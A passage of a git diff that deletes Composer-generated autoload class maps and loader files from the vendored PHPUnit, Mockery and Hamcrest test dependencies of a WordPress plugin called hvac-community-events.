'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\CacheWarmer' => $vendorDir . '/phpunit/php-code-coverage/src/StaticAnalysis/CacheWarmer.php', - 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\CachingFileAnalyser' => $vendorDir . '/phpunit/php-code-coverage/src/StaticAnalysis/CachingFileAnalyser.php', - 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\CodeUnitFindingVisitor' => $vendorDir . '/phpunit/php-code-coverage/src/StaticAnalysis/CodeUnitFindingVisitor.php', - 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\ExecutableLinesFindingVisitor' => $vendorDir . '/phpunit/php-code-coverage/src/StaticAnalysis/ExecutableLinesFindingVisitor.php', - 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\FileAnalyser' => $vendorDir . '/phpunit/php-code-coverage/src/StaticAnalysis/FileAnalyser.php', - 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\IgnoredLinesFindingVisitor' => $vendorDir . '/phpunit/php-code-coverage/src/StaticAnalysis/IgnoredLinesFindingVisitor.php', - 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\ParsingFileAnalyser' => $vendorDir . '/phpunit/php-code-coverage/src/StaticAnalysis/ParsingFileAnalyser.php', - 'SebastianBergmann\\CodeCoverage\\TestIdMissingException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/TestIdMissingException.php', - 'SebastianBergmann\\CodeCoverage\\UnintentionallyCoveredCodeException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/UnintentionallyCoveredCodeException.php', - 'SebastianBergmann\\CodeCoverage\\Util\\DirectoryCouldNotBeCreatedException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/DirectoryCouldNotBeCreatedException.php', - 'SebastianBergmann\\CodeCoverage\\Util\\Filesystem' => $vendorDir . '/phpunit/php-code-coverage/src/Util/Filesystem.php', - 'SebastianBergmann\\CodeCoverage\\Util\\Percentage' => $vendorDir . '/phpunit/php-code-coverage/src/Util/Percentage.php', - 'SebastianBergmann\\CodeCoverage\\Version' => $vendorDir . '/phpunit/php-code-coverage/src/Version.php', - 'SebastianBergmann\\CodeCoverage\\XmlException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/XmlException.php', - 'SebastianBergmann\\CodeUnitReverseLookup\\Wizard' => $vendorDir . '/sebastian/code-unit-reverse-lookup/src/Wizard.php', - 'SebastianBergmann\\CodeUnit\\ClassMethodUnit' => $vendorDir . '/sebastian/code-unit/src/ClassMethodUnit.php', - 'SebastianBergmann\\CodeUnit\\ClassUnit' => $vendorDir . '/sebastian/code-unit/src/ClassUnit.php', - 'SebastianBergmann\\CodeUnit\\CodeUnit' => $vendorDir . '/sebastian/code-unit/src/CodeUnit.php', - 'SebastianBergmann\\CodeUnit\\CodeUnitCollection' => $vendorDir . '/sebastian/code-unit/src/CodeUnitCollection.php', - 'SebastianBergmann\\CodeUnit\\CodeUnitCollectionIterator' => $vendorDir . '/sebastian/code-unit/src/CodeUnitCollectionIterator.php', - 'SebastianBergmann\\CodeUnit\\Exception' => $vendorDir . '/sebastian/code-unit/src/exceptions/Exception.php', - 'SebastianBergmann\\CodeUnit\\FunctionUnit' => $vendorDir . '/sebastian/code-unit/src/FunctionUnit.php', - 'SebastianBergmann\\CodeUnit\\InterfaceMethodUnit' => $vendorDir . '/sebastian/code-unit/src/InterfaceMethodUnit.php', - 'SebastianBergmann\\CodeUnit\\InterfaceUnit' => $vendorDir . '/sebastian/code-unit/src/InterfaceUnit.php', - 'SebastianBergmann\\CodeUnit\\InvalidCodeUnitException' => $vendorDir . '/sebastian/code-unit/src/exceptions/InvalidCodeUnitException.php', - 'SebastianBergmann\\CodeUnit\\Mapper' => $vendorDir . '/sebastian/code-unit/src/Mapper.php', - 'SebastianBergmann\\CodeUnit\\NoTraitException' => $vendorDir . '/sebastian/code-unit/src/exceptions/NoTraitException.php', - 'SebastianBergmann\\CodeUnit\\ReflectionException' => $vendorDir . '/sebastian/code-unit/src/exceptions/ReflectionException.php', - 'SebastianBergmann\\CodeUnit\\TraitMethodUnit' => $vendorDir . '/sebastian/code-unit/src/TraitMethodUnit.php', - 'SebastianBergmann\\CodeUnit\\TraitUnit' => $vendorDir . '/sebastian/code-unit/src/TraitUnit.php', - 'SebastianBergmann\\Comparator\\ArrayComparator' => $vendorDir . '/sebastian/comparator/src/ArrayComparator.php', - 'SebastianBergmann\\Comparator\\Comparator' => $vendorDir . '/sebastian/comparator/src/Comparator.php', - 'SebastianBergmann\\Comparator\\ComparisonFailure' => $vendorDir . '/sebastian/comparator/src/ComparisonFailure.php', - 'SebastianBergmann\\Comparator\\DOMNodeComparator' => $vendorDir . '/sebastian/comparator/src/DOMNodeComparator.php', - 'SebastianBergmann\\Comparator\\DateTimeComparator' => $vendorDir . '/sebastian/comparator/src/DateTimeComparator.php', - 'SebastianBergmann\\Comparator\\DoubleComparator' => $vendorDir . '/sebastian/comparator/src/DoubleComparator.php', - 'SebastianBergmann\\Comparator\\Exception' => $vendorDir . '/sebastian/comparator/src/exceptions/Exception.php', - 'SebastianBergmann\\Comparator\\ExceptionComparator' => $vendorDir . '/sebastian/comparator/src/ExceptionComparator.php', - 'SebastianBergmann\\Comparator\\Factory' => $vendorDir . '/sebastian/comparator/src/Factory.php', - 'SebastianBergmann\\Comparator\\MockObjectComparator' => $vendorDir . '/sebastian/comparator/src/MockObjectComparator.php', - 'SebastianBergmann\\Comparator\\NumericComparator' => $vendorDir . '/sebastian/comparator/src/NumericComparator.php', - 'SebastianBergmann\\Comparator\\ObjectComparator' => $vendorDir . '/sebastian/comparator/src/ObjectComparator.php', - 'SebastianBergmann\\Comparator\\ResourceComparator' => $vendorDir . '/sebastian/comparator/src/ResourceComparator.php', - 'SebastianBergmann\\Comparator\\RuntimeException' => $vendorDir . '/sebastian/comparator/src/exceptions/RuntimeException.php', - 'SebastianBergmann\\Comparator\\ScalarComparator' => $vendorDir . '/sebastian/comparator/src/ScalarComparator.php', - 'SebastianBergmann\\Comparator\\SplObjectStorageComparator' => $vendorDir . '/sebastian/comparator/src/SplObjectStorageComparator.php', - 'SebastianBergmann\\Comparator\\TypeComparator' => $vendorDir . '/sebastian/comparator/src/TypeComparator.php', - 'SebastianBergmann\\Complexity\\Calculator' => $vendorDir . '/sebastian/complexity/src/Calculator.php', - 'SebastianBergmann\\Complexity\\Complexity' => $vendorDir . '/sebastian/complexity/src/Complexity/Complexity.php', - 'SebastianBergmann\\Complexity\\ComplexityCalculatingVisitor' => $vendorDir . '/sebastian/complexity/src/Visitor/ComplexityCalculatingVisitor.php', - 'SebastianBergmann\\Complexity\\ComplexityCollection' => $vendorDir . '/sebastian/complexity/src/Complexity/ComplexityCollection.php', - 'SebastianBergmann\\Complexity\\ComplexityCollectionIterator' => $vendorDir . '/sebastian/complexity/src/Complexity/ComplexityCollectionIterator.php', - 'SebastianBergmann\\Complexity\\CyclomaticComplexityCalculatingVisitor' => $vendorDir . '/sebastian/complexity/src/Visitor/CyclomaticComplexityCalculatingVisitor.php', - 'SebastianBergmann\\Complexity\\Exception' => $vendorDir . '/sebastian/complexity/src/Exception/Exception.php', - 'SebastianBergmann\\Complexity\\RuntimeException' => $vendorDir . '/sebastian/complexity/src/Exception/RuntimeException.php', - 'SebastianBergmann\\Diff\\Chunk' => $vendorDir . '/sebastian/diff/src/Chunk.php', - 'SebastianBergmann\\Diff\\ConfigurationException' => $vendorDir . '/sebastian/diff/src/Exception/ConfigurationException.php', - 'SebastianBergmann\\Diff\\Diff' => $vendorDir . '/sebastian/diff/src/Diff.php', - 'SebastianBergmann\\Diff\\Differ' => $vendorDir . '/sebastian/diff/src/Differ.php', - 'SebastianBergmann\\Diff\\Exception' => $vendorDir . '/sebastian/diff/src/Exception/Exception.php', - 'SebastianBergmann\\Diff\\InvalidArgumentException' => $vendorDir . '/sebastian/diff/src/Exception/InvalidArgumentException.php', - 'SebastianBergmann\\Diff\\Line' => $vendorDir . '/sebastian/diff/src/Line.php', - 'SebastianBergmann\\Diff\\LongestCommonSubsequenceCalculator' => $vendorDir . '/sebastian/diff/src/LongestCommonSubsequenceCalculator.php', - 'SebastianBergmann\\Diff\\MemoryEfficientLongestCommonSubsequenceCalculator' => $vendorDir . '/sebastian/diff/src/MemoryEfficientLongestCommonSubsequenceCalculator.php', - 'SebastianBergmann\\Diff\\Output\\AbstractChunkOutputBuilder' => $vendorDir . '/sebastian/diff/src/Output/AbstractChunkOutputBuilder.php', - 'SebastianBergmann\\Diff\\Output\\DiffOnlyOutputBuilder' => $vendorDir . '/sebastian/diff/src/Output/DiffOnlyOutputBuilder.php', - 'SebastianBergmann\\Diff\\Output\\DiffOutputBuilderInterface' => $vendorDir . '/sebastian/diff/src/Output/DiffOutputBuilderInterface.php', - 'SebastianBergmann\\Diff\\Output\\StrictUnifiedDiffOutputBuilder' => $vendorDir . '/sebastian/diff/src/Output/StrictUnifiedDiffOutputBuilder.php', - 'SebastianBergmann\\Diff\\Output\\UnifiedDiffOutputBuilder' => $vendorDir . '/sebastian/diff/src/Output/UnifiedDiffOutputBuilder.php', - 'SebastianBergmann\\Diff\\Parser' => $vendorDir . '/sebastian/diff/src/Parser.php', - 'SebastianBergmann\\Diff\\TimeEfficientLongestCommonSubsequenceCalculator' => $vendorDir . '/sebastian/diff/src/TimeEfficientLongestCommonSubsequenceCalculator.php', - 'SebastianBergmann\\Environment\\Console' => $vendorDir . '/sebastian/environment/src/Console.php', - 'SebastianBergmann\\Environment\\OperatingSystem' => $vendorDir . '/sebastian/environment/src/OperatingSystem.php', - 'SebastianBergmann\\Environment\\Runtime' => $vendorDir . '/sebastian/environment/src/Runtime.php', - 'SebastianBergmann\\Exporter\\Exporter' => $vendorDir . '/sebastian/exporter/src/Exporter.php', - 'SebastianBergmann\\FileIterator\\Facade' => $vendorDir . '/phpunit/php-file-iterator/src/Facade.php', - 'SebastianBergmann\\FileIterator\\Factory' => $vendorDir . '/phpunit/php-file-iterator/src/Factory.php', - 'SebastianBergmann\\FileIterator\\Iterator' => $vendorDir . '/phpunit/php-file-iterator/src/Iterator.php', - 'SebastianBergmann\\GlobalState\\CodeExporter' => $vendorDir . '/sebastian/global-state/src/CodeExporter.php', - 'SebastianBergmann\\GlobalState\\Exception' => $vendorDir . '/sebastian/global-state/src/exceptions/Exception.php', - 'SebastianBergmann\\GlobalState\\ExcludeList' => $vendorDir . '/sebastian/global-state/src/ExcludeList.php', - 'SebastianBergmann\\GlobalState\\Restorer' => $vendorDir . '/sebastian/global-state/src/Restorer.php', - 'SebastianBergmann\\GlobalState\\RuntimeException' => $vendorDir . '/sebastian/global-state/src/exceptions/RuntimeException.php', - 'SebastianBergmann\\GlobalState\\Snapshot' => $vendorDir . '/sebastian/global-state/src/Snapshot.php', - 'SebastianBergmann\\Invoker\\Exception' => $vendorDir . '/phpunit/php-invoker/src/exceptions/Exception.php', - 'SebastianBergmann\\Invoker\\Invoker' => $vendorDir . '/phpunit/php-invoker/src/Invoker.php', - 'SebastianBergmann\\Invoker\\ProcessControlExtensionNotLoadedException' => $vendorDir . '/phpunit/php-invoker/src/exceptions/ProcessControlExtensionNotLoadedException.php', - 'SebastianBergmann\\Invoker\\TimeoutException' => $vendorDir . '/phpunit/php-invoker/src/exceptions/TimeoutException.php', - 'SebastianBergmann\\LinesOfCode\\Counter' => $vendorDir . '/sebastian/lines-of-code/src/Counter.php', - 'SebastianBergmann\\LinesOfCode\\Exception' => $vendorDir . '/sebastian/lines-of-code/src/Exception/Exception.php', - 'SebastianBergmann\\LinesOfCode\\IllogicalValuesException' => $vendorDir . '/sebastian/lines-of-code/src/Exception/IllogicalValuesException.php', - 'SebastianBergmann\\LinesOfCode\\LineCountingVisitor' => $vendorDir . '/sebastian/lines-of-code/src/LineCountingVisitor.php', - 'SebastianBergmann\\LinesOfCode\\LinesOfCode' => $vendorDir . '/sebastian/lines-of-code/src/LinesOfCode.php', - 'SebastianBergmann\\LinesOfCode\\NegativeValueException' => $vendorDir . '/sebastian/lines-of-code/src/Exception/NegativeValueException.php', - 'SebastianBergmann\\LinesOfCode\\RuntimeException' => $vendorDir . '/sebastian/lines-of-code/src/Exception/RuntimeException.php', - 'SebastianBergmann\\ObjectEnumerator\\Enumerator' => $vendorDir . '/sebastian/object-enumerator/src/Enumerator.php', - 'SebastianBergmann\\ObjectEnumerator\\Exception' => $vendorDir . '/sebastian/object-enumerator/src/Exception.php', - 'SebastianBergmann\\ObjectEnumerator\\InvalidArgumentException' => $vendorDir . '/sebastian/object-enumerator/src/InvalidArgumentException.php', - 'SebastianBergmann\\ObjectReflector\\Exception' => $vendorDir . '/sebastian/object-reflector/src/Exception.php', - 'SebastianBergmann\\ObjectReflector\\InvalidArgumentException' => $vendorDir . '/sebastian/object-reflector/src/InvalidArgumentException.php', - 'SebastianBergmann\\ObjectReflector\\ObjectReflector' => $vendorDir . '/sebastian/object-reflector/src/ObjectReflector.php', - 'SebastianBergmann\\RecursionContext\\Context' => $vendorDir . '/sebastian/recursion-context/src/Context.php', - 'SebastianBergmann\\RecursionContext\\Exception' => $vendorDir . '/sebastian/recursion-context/src/Exception.php', - 'SebastianBergmann\\RecursionContext\\InvalidArgumentException' => $vendorDir . '/sebastian/recursion-context/src/InvalidArgumentException.php', - 'SebastianBergmann\\ResourceOperations\\ResourceOperations' => $vendorDir . '/sebastian/resource-operations/src/ResourceOperations.php', - 'SebastianBergmann\\Template\\Exception' => $vendorDir . '/phpunit/php-text-template/src/exceptions/Exception.php', - 'SebastianBergmann\\Template\\InvalidArgumentException' => $vendorDir . '/phpunit/php-text-template/src/exceptions/InvalidArgumentException.php', - 'SebastianBergmann\\Template\\RuntimeException' => $vendorDir . '/phpunit/php-text-template/src/exceptions/RuntimeException.php', - 'SebastianBergmann\\Template\\Template' => $vendorDir . '/phpunit/php-text-template/src/Template.php', - 'SebastianBergmann\\Timer\\Duration' => $vendorDir . '/phpunit/php-timer/src/Duration.php', - 'SebastianBergmann\\Timer\\Exception' => $vendorDir . '/phpunit/php-timer/src/exceptions/Exception.php', - 'SebastianBergmann\\Timer\\NoActiveTimerException' => $vendorDir . '/phpunit/php-timer/src/exceptions/NoActiveTimerException.php', - 'SebastianBergmann\\Timer\\ResourceUsageFormatter' => $vendorDir . '/phpunit/php-timer/src/ResourceUsageFormatter.php', - 'SebastianBergmann\\Timer\\TimeSinceStartOfRequestNotAvailableException' => $vendorDir . '/phpunit/php-timer/src/exceptions/TimeSinceStartOfRequestNotAvailableException.php', - 'SebastianBergmann\\Timer\\Timer' => $vendorDir . '/phpunit/php-timer/src/Timer.php', - 'SebastianBergmann\\Type\\CallableType' => $vendorDir . '/sebastian/type/src/type/CallableType.php', - 'SebastianBergmann\\Type\\Exception' => $vendorDir . '/sebastian/type/src/exception/Exception.php', - 'SebastianBergmann\\Type\\FalseType' => $vendorDir . '/sebastian/type/src/type/FalseType.php', - 'SebastianBergmann\\Type\\GenericObjectType' => $vendorDir . '/sebastian/type/src/type/GenericObjectType.php', - 'SebastianBergmann\\Type\\IntersectionType' => $vendorDir . '/sebastian/type/src/type/IntersectionType.php', - 'SebastianBergmann\\Type\\IterableType' => $vendorDir . '/sebastian/type/src/type/IterableType.php', - 'SebastianBergmann\\Type\\MixedType' => $vendorDir . '/sebastian/type/src/type/MixedType.php', - 'SebastianBergmann\\Type\\NeverType' => $vendorDir . '/sebastian/type/src/type/NeverType.php', - 'SebastianBergmann\\Type\\NullType' => $vendorDir . '/sebastian/type/src/type/NullType.php', - 'SebastianBergmann\\Type\\ObjectType' => $vendorDir . '/sebastian/type/src/type/ObjectType.php', - 'SebastianBergmann\\Type\\Parameter' => $vendorDir . '/sebastian/type/src/Parameter.php', - 'SebastianBergmann\\Type\\ReflectionMapper' => $vendorDir . '/sebastian/type/src/ReflectionMapper.php', - 'SebastianBergmann\\Type\\RuntimeException' => $vendorDir . '/sebastian/type/src/exception/RuntimeException.php', - 'SebastianBergmann\\Type\\SimpleType' => $vendorDir . '/sebastian/type/src/type/SimpleType.php', - 'SebastianBergmann\\Type\\StaticType' => $vendorDir . '/sebastian/type/src/type/StaticType.php', - 'SebastianBergmann\\Type\\TrueType' => $vendorDir . '/sebastian/type/src/type/TrueType.php', - 'SebastianBergmann\\Type\\Type' => $vendorDir . '/sebastian/type/src/type/Type.php', - 'SebastianBergmann\\Type\\TypeName' => $vendorDir . '/sebastian/type/src/TypeName.php', - 'SebastianBergmann\\Type\\UnionType' => $vendorDir . '/sebastian/type/src/type/UnionType.php', - 'SebastianBergmann\\Type\\UnknownType' => $vendorDir . '/sebastian/type/src/type/UnknownType.php', - 'SebastianBergmann\\Type\\VoidType' => $vendorDir . '/sebastian/type/src/type/VoidType.php', - 'SebastianBergmann\\Version' => $vendorDir . '/sebastian/version/src/Version.php', - 'TheSeer\\Tokenizer\\Exception' => $vendorDir . '/theseer/tokenizer/src/Exception.php', - 'TheSeer\\Tokenizer\\NamespaceUri' => $vendorDir . '/theseer/tokenizer/src/NamespaceUri.php', - 'TheSeer\\Tokenizer\\NamespaceUriException' => $vendorDir . '/theseer/tokenizer/src/NamespaceUriException.php', - 'TheSeer\\Tokenizer\\Token' => $vendorDir . '/theseer/tokenizer/src/Token.php', - 'TheSeer\\Tokenizer\\TokenCollection' => $vendorDir . '/theseer/tokenizer/src/TokenCollection.php', - 'TheSeer\\Tokenizer\\TokenCollectionException' => $vendorDir . '/theseer/tokenizer/src/TokenCollectionException.php', - 'TheSeer\\Tokenizer\\Tokenizer' => $vendorDir . '/theseer/tokenizer/src/Tokenizer.php', - 'TheSeer\\Tokenizer\\XMLSerializer' => $vendorDir . '/theseer/tokenizer/src/XMLSerializer.php', - 'Yoast\\WPTestUtils\\BrainMonkey\\TestCase' => $vendorDir . '/yoast/wp-test-utils/src/BrainMonkey/TestCase.php', - 'Yoast\\WPTestUtils\\BrainMonkey\\YoastTestCase' => $vendorDir . '/yoast/wp-test-utils/src/BrainMonkey/YoastTestCase.php', - 'Yoast\\WPTestUtils\\Helpers\\ExpectOutputHelper' => $vendorDir . '/yoast/wp-test-utils/src/Helpers/ExpectOutputHelper.php', - 'Yoast\\WPTestUtils\\WPIntegration\\Autoload' => $vendorDir . '/yoast/wp-test-utils/src/WPIntegration/Autoload.php', - 'Yoast\\WPTestUtils\\WPIntegration\\TestCase' => $vendorDir . '/yoast/wp-test-utils/src/WPIntegration/TestCaseOnlyObjectPropertyPolyfill.php', -); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_files.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_files.php deleted file mode 100644 index 6686b97c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_files.php +++ /dev/null @@ -1,16 +0,0 @@ - $vendorDir . '/myclabs/deep-copy/src/DeepCopy/deep_copy.php', - 'c72349b1fe8d0deeedd3a52e8aa814d8' => $vendorDir . '/mockery/mockery/library/helpers.php', - 'ce9671a430e4846b44e1c68c7611f9f5' => $vendorDir . '/mockery/mockery/library/Mockery.php', - 'ec07570ca5a812141189b1fa81503674' => $vendorDir . '/phpunit/phpunit/src/Framework/Assert/Functions.php', - '051bafe20e2674435a162870efa2d2a7' => $vendorDir . '/brain/monkey/inc/api.php', - '7d3b315c4f303f2fc14aca642a738e50' => $vendorDir . '/yoast/phpunit-polyfills/phpunitpolyfills-autoload.php', - '38fbb71d514eee25044aa9d94851ee76' => $vendorDir . '/wp-phpunit/wp-phpunit/__loaded.php', -); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_namespaces.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_namespaces.php deleted file mode 100644 index 15a2ff3a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_namespaces.php +++ /dev/null @@ -1,9 +0,0 @@ - array($vendorDir . '/nikic/php-parser/lib/PhpParser'), - 'Mockery\\' => array($vendorDir . '/mockery/mockery/library/Mockery'), - 'HVAC\\CommunityEvents\\' => array($baseDir . '/includes'), - 'Doctrine\\Instantiator\\' => array($vendorDir . '/doctrine/instantiator/src/Doctrine/Instantiator'), - 'DeepCopy\\' => array($vendorDir . '/myclabs/deep-copy/src/DeepCopy'), - 'Composer\\Installers\\' => array($vendorDir . '/composer/installers/src/Composer/Installers'), - 'Brain\\Monkey\\' => array($vendorDir . '/brain/monkey/src'), -); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_real.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_real.php deleted file mode 100644 index a5c85ac0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_real.php +++ /dev/null @@ -1,50 +0,0 @@ -register(true); - - $filesToLoad = \Composer\Autoload\ComposerStaticInitb64ab6ec83fc8ada31fa44f753742a80::$files; - $requireFile = \Closure::bind(static function ($fileIdentifier, $file) { - if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) { - $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true; - - require $file; - } - }, null, null); - foreach ($filesToLoad as $fileIdentifier => $file) { - $requireFile($fileIdentifier, $file); - } - - return $loader; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_static.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_static.php deleted file mode 100644 index ee563857..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_static.php +++ /dev/null @@ -1,793 +0,0 @@ - __DIR__ . '/..' . '/myclabs/deep-copy/src/DeepCopy/deep_copy.php', - 'c72349b1fe8d0deeedd3a52e8aa814d8' => __DIR__ . '/..' . '/mockery/mockery/library/helpers.php', - 'ce9671a430e4846b44e1c68c7611f9f5' => __DIR__ . '/..' . '/mockery/mockery/library/Mockery.php', - 'ec07570ca5a812141189b1fa81503674' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Assert/Functions.php', - '051bafe20e2674435a162870efa2d2a7' => __DIR__ . '/..' . '/brain/monkey/inc/api.php', - '7d3b315c4f303f2fc14aca642a738e50' => __DIR__ . '/..' . '/yoast/phpunit-polyfills/phpunitpolyfills-autoload.php', - '38fbb71d514eee25044aa9d94851ee76' => __DIR__ . '/..' . '/wp-phpunit/wp-phpunit/__loaded.php', - ); - - public static $prefixLengthsPsr4 = array ( - 'P' => - array ( - 'PhpParser\\' => 10, - ), - 'M' => - array ( - 'Mockery\\' => 8, - ), - 'H' => - array ( - 'HVAC\\CommunityEvents\\' => 21, - ), - 'D' => - array ( - 'Doctrine\\Instantiator\\' => 22, - 'DeepCopy\\' => 9, - ), - 'C' => - array ( - 'Composer\\Installers\\' => 20, - ), - 'B' => - array ( - 'Brain\\Monkey\\' => 13, - ), - ); - - public static $prefixDirsPsr4 = array ( - 'PhpParser\\' => - array ( - 0 => __DIR__ . '/..' . '/nikic/php-parser/lib/PhpParser', - ), - 'Mockery\\' => - array ( - 0 => __DIR__ . '/..' . '/mockery/mockery/library/Mockery', - ), - 'HVAC\\CommunityEvents\\' => - array ( - 0 => __DIR__ . '/../..' . '/includes', - ), - 'Doctrine\\Instantiator\\' => - array ( - 0 => __DIR__ . '/..' . '/doctrine/instantiator/src/Doctrine/Instantiator', - ), - 'DeepCopy\\' => - array ( - 0 => __DIR__ . '/..' . '/myclabs/deep-copy/src/DeepCopy', - ), - 'Composer\\Installers\\' => - array ( - 0 => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers', - ), - 'Brain\\Monkey\\' => - array ( - 0 => __DIR__ . '/..' . '/brain/monkey/src', - ), - ); - - public static $classMap = array ( - 'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php', - 'Hamcrest\\Arrays\\IsArray' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArray.php', - 'Hamcrest\\Arrays\\IsArrayContaining' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContaining.php', - 'Hamcrest\\Arrays\\IsArrayContainingInAnyOrder' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingInAnyOrder.php', - 'Hamcrest\\Arrays\\IsArrayContainingInOrder' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingInOrder.php', - 'Hamcrest\\Arrays\\IsArrayContainingKey' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingKey.php', - 'Hamcrest\\Arrays\\IsArrayContainingKeyValuePair' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingKeyValuePair.php', - 'Hamcrest\\Arrays\\IsArrayWithSize' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayWithSize.php', - 'Hamcrest\\Arrays\\MatchingOnce' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/MatchingOnce.php', - 'Hamcrest\\Arrays\\SeriesMatchingOnce' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/SeriesMatchingOnce.php', - 'Hamcrest\\AssertionError' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/AssertionError.php', - 'Hamcrest\\BaseDescription' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/BaseDescription.php', - 'Hamcrest\\BaseMatcher' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/BaseMatcher.php', - 'Hamcrest\\Collection\\IsEmptyTraversable' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Collection/IsEmptyTraversable.php', - 'Hamcrest\\Collection\\IsTraversableWithSize' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Collection/IsTraversableWithSize.php', - 'Hamcrest\\Core\\AllOf' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/AllOf.php', - 'Hamcrest\\Core\\AnyOf' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/AnyOf.php', - 'Hamcrest\\Core\\CombinableMatcher' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/CombinableMatcher.php', - 'Hamcrest\\Core\\DescribedAs' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/DescribedAs.php', - 'Hamcrest\\Core\\Every' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/Every.php', - 'Hamcrest\\Core\\HasToString' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/HasToString.php', - 'Hamcrest\\Core\\Is' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/Is.php', - 'Hamcrest\\Core\\IsAnything' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsAnything.php', - 'Hamcrest\\Core\\IsCollectionContaining' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsCollectionContaining.php', - 'Hamcrest\\Core\\IsEqual' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsEqual.php', - 'Hamcrest\\Core\\IsIdentical' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsIdentical.php', - 'Hamcrest\\Core\\IsInstanceOf' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsInstanceOf.php', - 'Hamcrest\\Core\\IsNot' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsNot.php', - 'Hamcrest\\Core\\IsNull' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsNull.php', - 'Hamcrest\\Core\\IsSame' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsSame.php', - 'Hamcrest\\Core\\IsTypeOf' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsTypeOf.php', - 'Hamcrest\\Core\\Set' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/Set.php', - 'Hamcrest\\Core\\ShortcutCombination' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/ShortcutCombination.php', - 'Hamcrest\\Description' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Description.php', - 'Hamcrest\\DiagnosingMatcher' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/DiagnosingMatcher.php', - 'Hamcrest\\FeatureMatcher' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/FeatureMatcher.php', - 'Hamcrest\\Internal\\SelfDescribingValue' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Internal/SelfDescribingValue.php', - 'Hamcrest\\Matcher' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Matcher.php', - 'Hamcrest\\MatcherAssert' => __DIR__ . '/..' . 